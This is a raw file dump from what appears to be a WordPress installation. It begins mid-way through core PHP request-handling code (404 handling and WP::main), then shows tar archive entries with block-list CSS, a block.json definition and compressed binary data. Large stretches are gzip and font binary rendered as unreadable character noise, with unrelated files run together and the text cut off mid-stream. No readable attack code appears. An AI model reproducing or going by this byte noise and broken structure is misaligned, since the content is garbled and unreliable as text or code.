			if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author )
				// Don't 404 for these queries if they matched an object.
				|| ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object()
				// Don't 404 for these queries either.
				|| is_home() || is_search() || is_feed()
			) {
				$set_404 = false;
			}
		}

		if ( $set_404 ) {
			// Guess it's time to 404.
			$wp_query->set_404();
			status_header( 404 );
			nocache_headers();
		} else {
			status_header( 200 );
		}
	}

	/**
	 * Sets up all of the variables required by the WordPress environment.
	 *
	 * The action {@see 'wp'} has one parameter that references the WP object. It
	 * allows for accessing the properties and methods to further manipulate the
	 * object.
	 *
	 * @since 2.0.0
	 *
	 * @param string|array $query_args Passed to parse_request().
	 */
	public function main( $query_args = '' ) {
		$this->init();

		$parsed = $this->parse_request( $query_args );

		if ( $parsed ) {
			$this->query_posts();
			$this->handle_404();
			$this->register_globals();
		}

		$this->send_headers();

		/**
		 * Fires once the WordPress environment has been set up.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'wp', array( &$this ) );
	}
}
14338/http.php.php.tar.gz000064400000012471151024420100010702 0ustar00��]mw�6�ޯ�@[ߕ�#S���N�M���$��r6�Ǘ�H��"U���M�������Zg��5?43��%c��\��;~���y��{q_M'b:&ѵ�L����qg6�
c?�\tFY6q&��_<��W�J��{��>�n���lo�t����.�^D�ȼ��O�>������
�={�������3�۔���C��3/�4���F�^*�	6LR�&I�S��p�T����$�!mv��p�x�'��A)���f�h_c��p(�w�.U���0�
�@�)��0�Q&+M�$K�$b�x�1�3/�X8��_&��]�Az+�]�d�]gCK�g�4�
�0��7�� ����L�`��8?:����}��
o���Z)�4$���ԋ�$I3�E��NcG����Es�x������@�}������(z�����d�p�wS���x`����z�������x��ɖB���ԛ����Xp6L�1��E$h���B��܋�l��
z�x�c/�,K@��Ka�z�-R{}����h ����0:A��l����7��d�Y����~�NӨ�B���M��S ���A��$��n�,���Ϟ����w�H����Y��	��*Jl���`)c�'K�(�L�4�n�,w9����"��=�/��"�Mڱ��y=?� �fl�̈-���%i���5C�b��If��8 ��l6ۂ�a<s��(�u�X]����*��֙zc&j��M�Qߠ�T�ϱ�I!�M�`'d܋�2#�=S��Iv+����_/h�j%��mOXyO�uS7�T/M��_t��(
�0��|.Ok���mMyɉ�Lˠ$Q�� $�M�,��E#��q�iL�h\B�,�rpҡ�?���q��l=�e��}�
���w��<%��c�wL���KvL�(��Ta���I��#�{�{��5x�I��IUN��'����{�t�4�^�e��*'�t�S�@oPph��ʯ�|-����پ��c㊀�
��D`���z�dg,㛤;�W$ٖ�S��
F:�-#�V�"�j�RE�Õ��@�5I:���2�PG�W8�u�'Y��ޟe��dOT���R s-�.ϱԼ�a�����p���)�.������
8���@��@^�V[�K\+@�ZU�C��k@yy������y� �#Ac�
�;(g�`V�����?��d�ȋ�@2����o&'��[�uF��|���:�E��7�YH2�`1�"�#Ƕ���)����Me��
������%�dX0�6"ϲ��[�	� 0?I1��h�<�%��/�q%"\�hӒ�O3�&%V���#�J���EC�U�>�`ۢ:��c��a=j=�.7�be�[�0����B�%�gS�ؑ����ܤ�
��')j9N��%[�;$���3�I���2e8^��Q���ֽ�X�0�:^�Bh8�|.�x�(�^��(m#�π�FC�J�����pQ���z���B�j�'���	�H��(�
J��
En�w�u�Ig6D���(�*�����Z�ݏ��܍?�lTW������UEJ�袁��]U\��x"�+�F,�p>��饈$��b�*�z.�&UƉ���]"���RZK)��-��+)b�ٻE�u���z��d�:`��+��S�Fm�l�s�^e��\e��$�qh�)��ʻ.W��z%GVЪ"�~�h.	e����?���z�-�~(TV�ٵp���9X�V���eFX��'`�0*XV��Wp�
:�! 
X.m����,s�Y�GS��
`A�=Ĭ����U"�^m=!�lF�Q��x�z�`����P��W�Atr$�f��s ̕���8[���l��0)	v���F`Ī��g8����b�s�g�k��˘�'iB�2<�Q:�o�:�ԂT�{o���C=�ނ�3L��&\]bR��^]�P?yF�x�ז3�j���50���C��_P���g�TTKL��0{@�S˃$�*���NP��|
dLn�-�(och�k-
��(�2!�&ݳ���om�N�6�%�w�6t7�)^����%��z�yB$~�a���<����U�B��0�2\��_��:�6k�%�AV@�ST�Q��7�5u��:����ɶۊr�N7`w�����ȃF��EC��
/6 �=����6*wzzt�"�ӣ��u"{h�i���j�Q.�TG-�hFi)����#O�6����W�Y��N��
��v�S��l�Ӱf���G�T4�X�JPEE�„5Y�,���6�9J�g���{g��]4p����ǯlř�sj*L�@�X�RRZX��XJ�9V��i��E�Ȝ�^�IMH���{�I�
K(<)�4چ}�S֣(��@�/���u���Uw�]Q�5Ս�=���0c�F��yv�EǏ�1�5�U���$o�K�	Ë{x����S�(&���!�	���M�D���4��
|^4F���mSK�VMײF��֜Z��r��A��NЛ+�"�
/�A((�"�T
��X(M�_�9�m�*��"�nd��h|@}�.��h��7�v���*m>-6�:@+-K��0����";o���^3�U�"ӵ����
�#N��Rd%���&xЦnM�^����T�}�����"�j��J��+y̡U��d����%�c#���	��M����~e@� @U�q@l{�u{�g˃�R&��3�����R(d^Cs)�pOJ���2�xXc��f�a.��j���X��K�J�<`�A����&q�&��!�R��)":�7���0�"�sV
ɣ�p<�gee�'���'������ᄶ�2���C:�*�z#1_2l���k[.���w�l�2�Ů��HL}Ռ�c$��n��\'���!���#+��^$x�{R��&q ��K-�.�JMqhԼ��v�f��֘s�A\�S�����@�3���kY��)`<!a�<C�^(訨�ġg����ݗ��g��BѤ"~��n/�]kR�OL��iE���3kiA��������HG�[����鱆Zg_]��2ʵ7��A��c��>��ņ?qٔ�)�{q%^���
�1]\�?�%s�t��EWԍ�IY�f�h��"<�l�4Yh�L���������t]���-C9�y#� sJmL>�`�O1��3�,J�k����U�wH�*���x��tx�l;�
��i�8|�b�͒�Z����ɦA~��;�@'q��E�-邽�03�����,��y�t�v��=g����
W7ciK <�U��ޮ�M�h��6-��X�i�T��Q+�[����`L&�!7
�Z�K��T�`�YM�p�G��o��V�$n�0�����yF�T*$'�7 ��ׯ��ha}\�rx�κ\�/p���l���H�0���\�)�5k�{���S��7�y�u��E��Z2P���8�έ���S�V/��V8Xb7EO������ɬ@Z�C	c2H�k9�����ec��z� :=H	Y�k5m�Q"2bRwiXӒ�����:(�N�2C@�*�����4
yy�ik/g��+ܵ?�1~���Ew�˟��o���Ë��w�˷A����ii���0�U��^��3�%���+�D6��	���c]�Z�Z����0��n>�5��\$�r�BY�2���a��|�8�<o2�& ������ID�m@�m��ⱻ�䑈\l_"һ��w�W�"�
?�j��?���W]z��eO�W-��O�$�/u5h�>'�º��`��=pY��L�n��	��a%0ݘ)�(�Z�q�Y�?We-$�N^�ɨ�nH�$m��9Inm�˼e��Z�[�e��묥"9E��n��oF�V+�^�ꌅ��~���#���f.9��ݡ�I��G��m	}e���dWgd�J�뭛0*�zm5;J'��ru�
y>�����N��Ɗ�(�c+��Y��@O1�����_pq��Ԗ��$
�A?ك�ױFm����+@f�a4��������L�b�J
)[%=�V�*�T�fA+��oۥJ��RC�M۳5�f5�n&6���u%�)"@�u=oa�҃E�ɡ��D��i%1�˚�":���V[�k/6�N�k�f���α�Ż��̂��Y��I?���rT�̊۵��}+p(�7�����r[;�A��+X"%c����~���"���(�L�P��PJAbZ�Q�o~6�]E�?+1	l��k>��@l�ûL�7]�1_I���K��_���8�6#4NC�9 ��GA�ES,hUO
0@WK�fk�Rs!B�i�),N7�Iu+W�4��XEג�;�s��o��A�7~���==ר|~v�R�Dɕ`o�zg=]|��G��/��Y�[+���3U9�l��R�RB���iCXK�V�-J����Ia��Y$�o�cFy:�Һ��&G �n`�?,z(���I�*m&��)��L
��a��S���C��ԅ���d/�����,�uJ_e���J�0��:�ӇQ!t;+o��c���myNp�OƓ$�>�Yxgx�?Ԟ#��[�7��}gI�]��Ef��o�ng��S/��c����J�)�Q_�AD��F�`�|T[��,m`c�)�b��SEL���JɼX�M�ͭ��ڸ�OF�v��[]�<0�����EA>�U����s�1"9���<,C1�1�Yf&���~\��
~�ǫ���ï��8����9��jV��i��!/��1�'�����>��dX���ݜ���Su
:姈Œ:s��Ȇ(�q5�V9�c��5#�#���³��a	�P���(�t᥋ߕ΄�&��h�of{M�}jC��S,�٠dy>%,
�)hP��w�Ro�J�,�ӱ~�,�4��5��BR+_�+aa~
m&�OOTS�v �'7��c�b�m�5:�S��VuG�:K K.Y�D9ݬ5�p11��K�<�(��04�N���OtI�d�ţ�yԔ=8������by�X���J����v�S�`���㛨I8�s����t�^�K��+ڦ��O.	~��ƀ�Kd�@�-���b�l�z��r��@�f�/�3�D��U�UFA���u���k��®&?�]Թ�(����luj��R�;V��ٜz'c�U?��dӰ[����s3.��ޓ+�meM+T��� 	B�JG�a�}b��U~���a��ff��lI�R��.}�Rڎ*�=��U,=?�J�Q���{g��Ki�R(~~v���ޫs*������	hK<�쪸�W���ק�?���q��?���>���j14338/priority-queue.min.js.min.js.tar.gz000064400000003202151024420100013734 0ustar00��WKo�8�y?���@Ni�I������Avgr��,�6�T(����?�a+�3�}J��H��o-�R�͌(V�gu��E"�H2+��e^���Ξ]*�	�<[�#���LEq��8Kea�r#��v3z.E)��T���]��X�>�;^�f]��xw~u>��py}����/�W��U66`�����~���d&xƥգ9"��V����B執���^�//C"�e�;��0���VZ��1�H��J�X��ǹ��Bψ���[�,Ġ�F&֋j� Z��^�R1�J�ް���J�z�<BUf�J�	~���ݶb%�A�Dd�
�ca���2v|6�R��̩�ݮ�)�K��?'�۹1t����|x�R����[��+6�y����΅�2mQa
#li��bg��e,]�=k5�OG�n	�^:�i�`��x2EU�
���K������<�Ҩ�̉h�•L�O���G%�qS����&"�鑤!���	BiՉ�#�zd����1�U{��(|�ߏ��L�~��D������yȗ@s�o�^;�QE��Q�!=�{g�Fr�薍{Pπ�
TI�{_���2�#�0�W���
�=�
>��`��lm�1{vr�ܶ�P./�)0?�瑜����9k��>_�v�Ȏ��7�δ!�%O�L��]D�F��*xk�~.#�=U�+r��d���}EV4�'�;D�d�����I������lz��G���:J�#l��贂^���f�K�e�8yr)�$c��Z�ٞ��e[�X:DTIl'�v�:�B���p��S��T��
�/s�G-��p�ݎ��ҊɠO�V�i�RW�Ʃ� 7�jG��-����Eb�����ѹ0vs��mdn�p˼�(��
�[��4�4�(�F����ގ�kJ��JѯM�)5x)ˈ���T�2�f"�̱�#�Ӗ����N{�;	�ǩN�OY��ނ8M����7�(������!�`8�e{b�1e� 0!�
@P�&q��pUtd�n���
A��>xI&�'�yOb���xV��'��Oy�r�k�&��}���m��R�<.
�j}@������lw�B��3���)y��n�ɞ[��5�F����cU�SkD�5���Ҋ�f��m���k��U�� ���ş��F��?rml�%"�Y���L�-�l�}Џ.��Ydȹi#|`:
Q��$߶g��.�"a���~�T*H�����k=
�X�
�5���{�����۾L�O�d�WP5�n}<]�9��y��q憷N��I�*c{ڌEΡ?w�ޕGI�$�b��\�f�ܥRw�h��ת`��Ԕ
$�Lwj�m�����g`�o�5���o��5lW��_tZf�C���wQ�`Z�u�hc��bZ�
nA 811���'t����"nPF�Ԫ��z��u�l�jv�7P A1��
�T�Elxas��Q�1Sa.h��ܴ[�S���R��Y��5m�{���ng��>�S��,��+��x���k�L[��C�t"H�z�RZ���a �g��P�P��o����}B+�+�$F��"�kTS$i�ף�]'"���ֶ����w
���ڹ\;����c�X?֏��Y�QƖ)14338/list.tar000064400000017000151024420100006674 0ustar00style-rtl.min.css000064400000000137151024240400007770 0ustar00ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}style.min.css000064400000000137151024240400007171 0ustar00ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}block.json000064400000003616151024240400006527 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/list",
	"title": "List",
	"category": "text",
	"allowedBlocks": [ "core/list-item" ],
	"description": "An organized collection of items displayed in a specific order.",
	"keywords": [ "bullet list", "ordered list", "numbered list" ],
	"textdomain": "default",
	"attributes": {
		"ordered": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"values": {
			"type": "string",
			"source": "html",
			"selector": "ol,ul",
			"multiline": "li",
			"__unstableMultilineWrapperTags": [ "ol", "ul" ],
			"default": "",
			"role": "content"
		},
		"type": {
			"type": "string"
		},
		"start": {
			"type": "number"
		},
		"reversed": {
			"type": "boolean"
		},
		"placeholder": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"html": false,
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__unstablePasteTextInline": true,
		"__experimentalOnMerge": true,
		"__experimentalSlashInserter": true,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"selectors": {
		"border": ".wp-block-list:not(.wp-block-list .wp-block-list)"
	},
	"editorStyle": "wp-block-list-editor",
	"style": "wp-block-list"
}
style-rtl.css000064400000000153151024240400007204 0ustar00ol,ul{
  box-sizing:border-box;
}

:root :where(.wp-block-list.has-background){
  padding:1.25em 2.375em;
}style.css000064400000000153151024240400006405 0ustar00ol,ul{
  box-sizing:border-box;
}

:root :where(.wp-block-list.has-background){
  padding:1.25em 2.375em;
}14338/fonts.tar000064400001716000151024420100007061 0ustar00dashicons.woff000064400000063014151024203310007375 0ustar00wOFFf�FFTMDrL"�GDEF` 3OS/2�@`�i�cmap�A��@�gasp��glyfY����l��head\�.6��hhea],$��hmtx]H�@rloca^P���vmaxp`` Y�name`��V/*v�postb�
F��?�webff��V��=�����c-x�c`d``�b	`b`d`dd�,`�9x�c`f?�8�����U�e�4ʹ���)�Ja���~����_��bDR���6�
�x�ݐ�KA�璨�7�� Ł���$��4�$�"���H�hb!];[��E;��F�j���6�y$`ao�yÃ�` 	�ɀ;X�q��9e��!�A&�A6
�K#�S@S���L5ڠ�h_Y�V��U^�jV��վ�늩�S3u�0-s`�8�6���(��(��@i&��1}�r��U�N[�Km*���SA�n�t�CS6K]��i��9d�~N���s��(���?���_����o���qK8��8�Ξ�tv�mg]�媬ɪ\��rN��#�ĵ���L�����NV?�TX������6y�t��xڬ�	|U�8\����;[��[��t��,��7�u�=l!� K�/F�MnQAPE7D\F�"�a�F�mD&��C�qduF��s I_����N:�̛���t��[U�n����'r�GN�ݜ�I��K�W����]o�{*����������-d�c���X3������Lh�C�g�<�3G���*���_�z���iH(LLf+1[�`HCd�P@L9��%�Y�0	Ca>����x0ְ;g��eM+��ݺ�6�H��i�e�Œ7j�i��?�R�������e��f6���Ow��[ʳ���$-������tK^plf���eK�ʕ���ͺU#�X�!^.*5�j.��^m2�R)!:G�;���i��u���(M�B*�׶ƚ[��4rzm+�ݺ^[�	u|"}}���1��ѐ�O$Э�IM{��6�6,�$;���|[��F�U��,�o`�=zw����TKN�4�7��Wȵ\6���^S��di$A��]�%���MÎ%�H�)(��%����l$abf����7o���eDjiill|�q"}�R�z�Uda�������� �-&�d�OнW)��MM��H�XrWk���[������?����7*����[c߰�Mr;�y3Y�n��y��45r�
�G�i���b�#D�w��]vJ�&��:�U�R��/�u,
���:;t�h�+~�z�~�#�uu�©�X���n;z�p����%�<�}��N���.�+�5�
��X|T�wr	�#��T^Jd?0'Q�O��:�&��;$����h�.
8��p'�?K�85��g��q֋!"g�]�
=n#�iP����X@�_"͹�=Y�o��_W��<�����z�
�D�s�\.��K���w�7N��n�v�ι��~8��r�K����RL�猜�.�<{,D�Y��Ӭ�M.46`5J��߯�}5����m~��9D��~Ar��xX�^�t��j�n�?/�cW����8�z%�Z0g��~AO��5?�
,����@��+�����K�1��:�#K|8��Ĉ�@8�u�1��G<�$�dC��uŽ��X����f#��@��>O�NU��[�Z�v-�n��n����b�b��Gn'��<Zn���[¥g��;UЕ�2qu����_OzuԄf���?�SA�a��1���F�Ǯ?�׏�0�ɇ�
�$ep�?Xa�0��R7̷l��]X�� �૆y�!
.H-$C�(tV@߄�Oe�xjЛ�I*m\^��<��t٥��$�?l�����ݑ�\��ƍk��C�L([��l9g��)5􏇷[yV�z��5��g���#����*����,�F{��=!�ǡ�C��9
؍&s�,��>�:�wJY�in��cw�-�=����;���'�(�`��'��g���t	��3�\�ivδ-&�gCI0/^2{!ޅײvE�By*�WΔD�D��Q�vVu0�� 5�<j��v��֗臻iOD�S�z.�+VM��j�\�2����&�\��ͤq��Q�����
|)�W���j&�*�\sS�}�f9��NO�
�3rh�#CN�Mt�����O��G�_%e����0PJ�9G�6�^ڿ���ֹ��A��΃$k_og����?�6�p2
﫬�X�ſ\I�Me�T6�'�b�m�&��cke+[+�a��H+�o�HߥO�w7n�^���0w��[�W�!XË��a/��w�-�`;����D"Оt.
�z�-@n3�A̐R�#!��k��>�<kݮ��I�����!h��
9��cy�������^'�ī���,���b��m�,�cI%�C� ;d���(�F�M���"���DNij�ވ"�~FX�R�8��	�€UK��Sqj��@F���I�#��"A;�ֵ�O&�F<���g����G�=�N6�A��2�ݎB��v:
�`H83�G+oN	�������e���n������@v�p���V��þ��W���;��_ػ���;|'���%�C�4Dzv����Ҟ�m�;�*=d���sK���m;�Wtj�x������g��K4%��{�����`�.�ڡ(�/'N�*��YV37L`��2y��n(
2z�-K�BO�郅疌�Mf �w��.��
@R2���U8�k����o��.|�'�>}����!O��hR��}o�Ud⏷��#}��F��i��/5d��L��W������W�g�M��P�h���n�ڠ5���X�p ;��<ODAm��)s>�=N6��?B��k6-^,�R��&�3�<t"kH_�P�
�B��j�<a�exQ�Z����Dk+�w�V	|�OR%^ �Qӣ�|�9������_t�p[ߩ�o����v�X91>gW����T�b9\� ���+��ݪj�?4
���Ayř3�zX=����NY�3��(���r��Y!O�ʌ�0t��H�1��W�r~��C�۷�:3����7_x�|��G�^����A�O�sŖC��mm��W��K�#U@u�q���z���	��5��,v�o
����bcByEߔ�A�8�`;L�i��O�Q݈%� G�c `�H�\��:�Fڃ\B+�ֺ7�=H�������Vr�i;li�`�0�����AO�pΆ�Os�CD���;Il�L5<��ug�ԑ�ӑhh����ie\�Ͼ�K��>vp��T��I�i;�}��� "� �b�6w&��E]��r��/�&սG?�[�M��Ȋv�ʲä�Q��4�w8&��9���Ϋ�`y��(��h70<�ɑ��~\��òo�\�UU��ʛ��2������?{���
�{��)FKymk��ۊ'�9���ִ�}�H_��"~��8�2.��!>ڣ�m��b���%/���1\0�dJ+^<y8�s%��Q���x��3�6)S<N��p�{�]�7P�;�m��o�o����oAYss��^o8��7�	|���=�39`���r;��!��Y��|V�S��&��O�<r7�}�j����t}C��mmm|nr�X�[�[�#W?��^|t��D&�hc$�ǮeI{���Nr���T��J����#2$r��U�/�3�� �X dtG��W��P6 �h��u
�Qv�"o�����(���S�u?��x�?W
p�Ɯso�*�c��@=B'6fpM
��1��������.&�<�k�w ��9V+�+����3'�}����?q��f2�����z�����
玫��s�q,Eʷ����,Rl���u�ǁ5f��R�>v�ߞ��W���(`���Q�wA(\���F$�Nq1)����9`�l��g_&^��d'�;��VR�zxg�o��	�g}$����}/�Cw��q�#(Kl3��Hi���~��8HH��{i��B���9�/�76����?r��Hg��� 
�g9���'��::�������c=d)�'��tf���)��C��X�
AM���e����H��V<�����5�(E]u�G�@��s�oq�’�-�p�ɗ�"v[�OE�^>oj�4D$<���^$z��'.���p�e8Y��^��=ߐ�3��zg�W���	�:�k��$��@���Z�7�� �"�\��g�'��'^��F��_F�m��ۉ�l�8�H1!@e#���l�qe����
.C�M�����&�8�i4�Q0`Bn���׷9���Z8�E͡�g_w݋���#�����4W�+~KOQ/�J<~�=���xvg��`\�z�j#\�@�<C�����26�������}=d>ۑ�=��zȼ�!��p��|�la�YNl$�t�	AF�̓[���?����o���� ����a���K��bC&籙���u��x�$އ&�o�-� ��&^���m�ǩj�K�Q�G����NBFO�Ě?���E����P�(��Mڦ�L�!��5’����"�h��f��^/mh(�=]�2bZiC�w���C�4C}�ƫ-�`���a�n!DHϲ{�
+&�ˑ����&����ו:J���Zh��Qړ�\r��i5H��K����r�	�X%�֫K�A�$�PfFx�D��H�ɳ����gt%���2@\�w������%51*�X��K����\�J<m����
e��G��;O��_E��"��?1��8��v~��e�Y���yŌr�����tݍ�f`&�N��YL����Ś������9����#�1P���CE�����~m�]���I�NӐ�lI�4��O��o�s���3�+��ޭ4M8tP������yx$�0V�H���,�<�{�4��é�v�cmX+C
|���1�C��HFa?�w$�R��(�i*Ӌ�L�
*ǽˮA��h'�Q��� ��w���݈���gsT-QdN�ȟF����H/cS��c�4�R�����	
�c5T�0*�h��?�@��0 sQr�r:���D�cr
���t/� �Ǎ?�ƨ��K�'�oB!��y�:�㫿���7	��H����s�-�n�?/�g�J^�M�x�V��7�nu��`~>��P��HEtg#\}��w�:���1�?��L>�L�LJh���7�7ӵ�l�\�"����@��d3� �:���Q�n3��0�](��Hu�u�"��dA\�G������|������ֆ�F�I;.B�3�=�Q�Ј=�:��o:�=��-��������;��vtc+`���o{k煢��!����)�x:�nEQ�`C�$CE�
1/�"
�ܮ�q��"�8���`��C��8�0�A|����ڟ}�{]�J�-�*�������x�䏯]����6�����T���4���Q�|�Y��'(�q�e�����l�P9Aqp�(��&�U�����+i~�Ϳ�J��E:[UsK 8���)r��Q?�]�7���V�a�R��ؙ3�)?sF�mN�y�8_��%v�?�7>^��G���G�[S���n��z�}6�R��E'��w�|F�G�c���&�����kh�Gp	��T���y�Nx�B��0=L51���d��;��M@�ҞMpy���,5߽:;Ҁ�AC$��b Dꖎp^n��,Y-&~2t��,�Orzܙ��S%3=n�,e�M6Ց��K�uaEX�`�r8�&�0�����Uٽ|�-;�p7����_F�H�cѢ���E�/"�R��t�}�Iʳ����UH5�U�������6�a����[�/�0!������b�b�y��0��H;��c�!&��)�=�j�:~��$Ԭ��؉��5ǀ��p���(�`��(����IT����T�K:T-����K���p> ��M�����K7�sSu!����nǡ��ͼ`�t.��H6��3�#@=θ���55��89�IS�c|�̸|��!�s����E���MV��ň�ċ��(�C����$�7\g@r��]���V/Ń�F.A��q���L�?H�;�S;��ҥ0nݗ�Dc�O4�ҥ��D�R���yG��\�1����LU�.ѯ������H��(2��w�x\j\���ͩ)8/����mt��8d_�� K��z�u�}��,Z���6l]��Y���?������Ȃg6Oh��hw_�Ĥɱ���㧌��f�"�#�]��*x.�-�'�C>���7>��z±��H��a�!��$������&��z�q8Pw�F�5H���G:� ��>oV4(", ���0y<;���i�Ks˙�J6"���1څ�#bx=��q���͈�Y⡖٥бp^9gd���5�n�=F�o`�3�Cۨk��Ӳx��
��oX�Q���Qﰘt9Ƽ�l�1ۜ�.�i������qR�(Oo0�z+
|�f��$Ϛ�W�<��47��(�|��d�b�+%���w4��hU�_�k6��a���4sP�������f�ҫ"��E�'�9�E�Y�\^�="-�b�j�r�x��^W��-���`'�)}
�f`ĠҀ��H(�k(�=l|ꦛ��t�X��[��>Mp
��W��?p�Ā=�J�5�5��whl롏'��沉A۹�ܿ���hIp�'�{q�����?�&�	U��k��K�~ I:O��s�8�\![�)��ƌ��+RE���փ:r�^�(BrFd'dr���ss��(�۸9(
�r+�&���LX�J��'8_ȧ�
���qȁ��-:`�@Eb���01�T�t��f�1��p[g�X[��yaYEeU��KN,;����c�,6̚?�:?XpӔ�-��:�ɠY�UkȖM�6[Ax	�@+��jRw�Z7��r�i��}��S4�`���S� ���{[��4����Mr:��g����/���l3��}�ٱ�ŲE�C�(n�"�^72�Pֻd]1�yD=� 2�s1		bHǷm��޸	��M��/����m"��D�U]��$�6I���&<�?˔���`�-�����mB~���FY��������u��~��F������)��y옦p�с?`Xa#V��6Pڣ�H��F�hl����c�V�:,tlIE�-]vG4g����,���x�w;�ٻ�o�=װn��ښYW�k���A50F�K/��c�pȶ?�h������M
J�O���^,=B��^N,����0���w���v0F"�
W��<�N&�5����BI�oDp��~/����#"o�~�1bBg]���)�{�3�\$r��(*B"��{"\ތ��3�T���[A	� "
��4L�gr;���˒�ѹ~!�C� ��f|���䯿g�J�'4Q�	��m�-�3%%ب������]�������`x�M��d"V���D�h�XAfWZ-ޱ��!����K!��Y?sF�k-��,�%��f�\ �����Y[�а�e��

}Q�p��#\g�b�����tQ�z}��ۿ0�c�6��PZ,���9�;'5!�������p*AkH��؟�LVG"��H��f�r�e���-,��fVrd;�n`�����E�e�^8udad�}�X�;n1��@�~����·���髬##�C+V���
��ht�{��{�w/=��]�.�FC����H�G�pJ�X�B��Ɏ�ֺ�P�#�œnG��"-N�w �a
@u6�#5E��OE=	��, Ʒ���cſz>ڼ>ߑ�|߀A�w��(�:ud>�A1.D���р!�<-̱f9�t�$`
L*_��8��C	|Z({��J��B\�J
����ȑ.a�2��ޛm�`0���ڛ��m��1���L�<��"?//o�PB:�ȗ�����a%���\�˨��z|m�ee
Ef����[Q]��[Y����?�f����]����٨��8�8��Cv� ̾8m�%>E(Vm���̀IL:�}�z�e�%��1��Q!6��B{���F�i�d�j|�}��?�.�=����.~����P����n�9�)
�J����'GY�ɬ%&>U��g�g�yr�֑�_�^^Ro+dYN��;yd��bJyYo�#��FΞ�-vN�;4��1�{jzZj�wddb�02.� ����=$h�%�,z��4gW��g�/U��]
� W��3��ߒ�i��o���{�>T��H�,���Z��;$j5�5Dd�e�>���n�?���{�Pve:if�s�i�M����ߎ�����(.@���M�;��./�?a����G��=�N)�C�~��9�ۛ���7�a�NV��g����t��P;So�F#
��i�	o�L�U�H5q��D:��Y�:�5����}\A����	d*�z�aG�o�BE-Av��y(�{��E���oW�f�7cQ�t����'"ӄ-�':��@k��S�t��G��;��tմ��ݨx�׉��|b��y�'���v2~w@���teS�Mj�2�X4�|�M����"�tL
,�"�+|Mv��Cu?\�����G}!��9�?
�!��*�)��T7C�~����TC�ŕy��r}��Rd�.�@�%������o���w�rv�`�rYJ�OΛ�����ʲ����1\�W�M���G\p�hm�O�&�Wĥ]��%�EÚ�q��m\}���dK�c{�)����[�kF/��%����匃����x��!l������QT
3�y�E`dh����"��:�eD��"��B'�7͹��5�?F����3"�q`
�3w.|t��U�]�6��T���ֶN[+I2�5kc30���L�/j45�4-!�9�ʴeh#�fV����K�B�Bӡ���
N�������)�G��)�w(�����!+��;�*���d'3��U� .�$�e�5��&f�g�Y3:�����b�V\��!���]���+�?��8l�u�(�/�E��x*v��ƀ��Wo�n�V���D�?GOv+�xl���~�.���k眺\�k[{��;EC�ھChk�X��g�0�<EO�>�9�bV
\
�$G�s��f6+��xD�A��cL0���/�\ǵ��a
!G�k4��:N.�̂��Bvd��H�!�ɽ��n��y�Dy W3>��I���$�I���<�"�}Žy�V���l�؋���9�b�v�k,%Uf�ї��/�����A���X�����hRu�#TŞUN�c-)TPts
o��a;�J^�H�^$��_V�� ̿F]�o
G�e�9�&PF?���ݬ���2Y�nެ Qݼ��*w�=��ik�L^��^<�t�*���ب��<x���q@M$I�PUq�
��=�%t	�#���m�J�4���cH�O�f8�K68���WQI�E���BS����RI�%U����cF�y��1��}U�0�a����W*�:+g^R��{rr�p/y�����&�y��&v��Ϳa��_�,4�d�e�^���c�ڝE<o-!�LU��WT�gM��ҭy�E���a�`�������;3S�L���Y�;i��5/�f��c�����4�3`�P�Y�	0���P�v��f\��7�Md>iFk�h�Sx���zL����p7�O�I��T��?vT�Ry��eD'/���"PL0�S��r�\&��)̀4,'
06�
�T���$9(/�����:M{����"��躗�kE�U�L�1���&r�)�u����K�-���'im��'�G;��o�TN�}�SU*�����;�e�;?�"��st*�����R#��
Y�ji�	��9�����H���Ox͌���V>�2���3�������xr��Tl|��3�~|Kb�ݟB8/q��H.�~�s�l���I�!���û<@�}r��D��_;A���t�G�I��e��ڶiSצ��G�.r!q�{=vͷ�M��?�k��az�}���ۮ�9c��3������L�����gn^nfY
T��/�]���\t�т�G_=b�-�~�A�w��\��N?��ǻ��y�g~���w�;]>f�:�;�Y|o�Oog��ş��	���\�d]띗t<��O?E�OI��Q���S��1�g�?�-��H�<!y)�xn@�M{��Q�&��2t�و*;�}����
�9����K��rm8+���:�3m�$JVR&�aޗ8�Av�Y�<�d�x7�V�Um�����:��C��㋫�*�陗�ln���^~aaz����
K�`X�rtɸM�����f�nS˄M���o��T��rW�;U��z�j�v��KG�L׺���Y�'T�]��r�Y��.Z�5�0iR�@���<�����>O[��B�z}AM9Y��y)U��^�����l���,����DNZ�l��=�4(�!�G��4[5f����[��Q_��i��j�_h�SN�Ǘ�ׇRk����-��,���%�t>q��钔<s�i�~d���]d�t��W��2�}�`9�
!n�ᱪG%,��N�|�I�iೝ����e���)9�Yf�3�.y�54��g]>�1�;f��UW\��u�ֹI˝��92/퓭ŕ��0�.�z☑���I#����Sc�7e�~b��ݷ��HkIzlqsZ����,��L�Tt�d��P1`!�������T�*`�И
���ʋhR������:��ڹ
�,G2;�!\Qh���@���$����`��<�s��n��iJJ^w��;wZg������&��o����H�����\?HO	�LJX[�/�ҏ\O���
����~z~���T�g*��Y�'u�>fB����HY�%7~��"aRJ�",�L�9�rd�ɭK/�d�֓[��D�]©�~���w=�*)�ˢ�[�hw��k�(9pQg4�ɉ$�M��u��m�b����7�̯ �G&�
�~�&EQ��C>b	9����ɍo�ю�_o"�����#O=u��."\}4����M�m��=�u\�V��';�
���o��>�m�M��\u�"��q��/���̭d}q
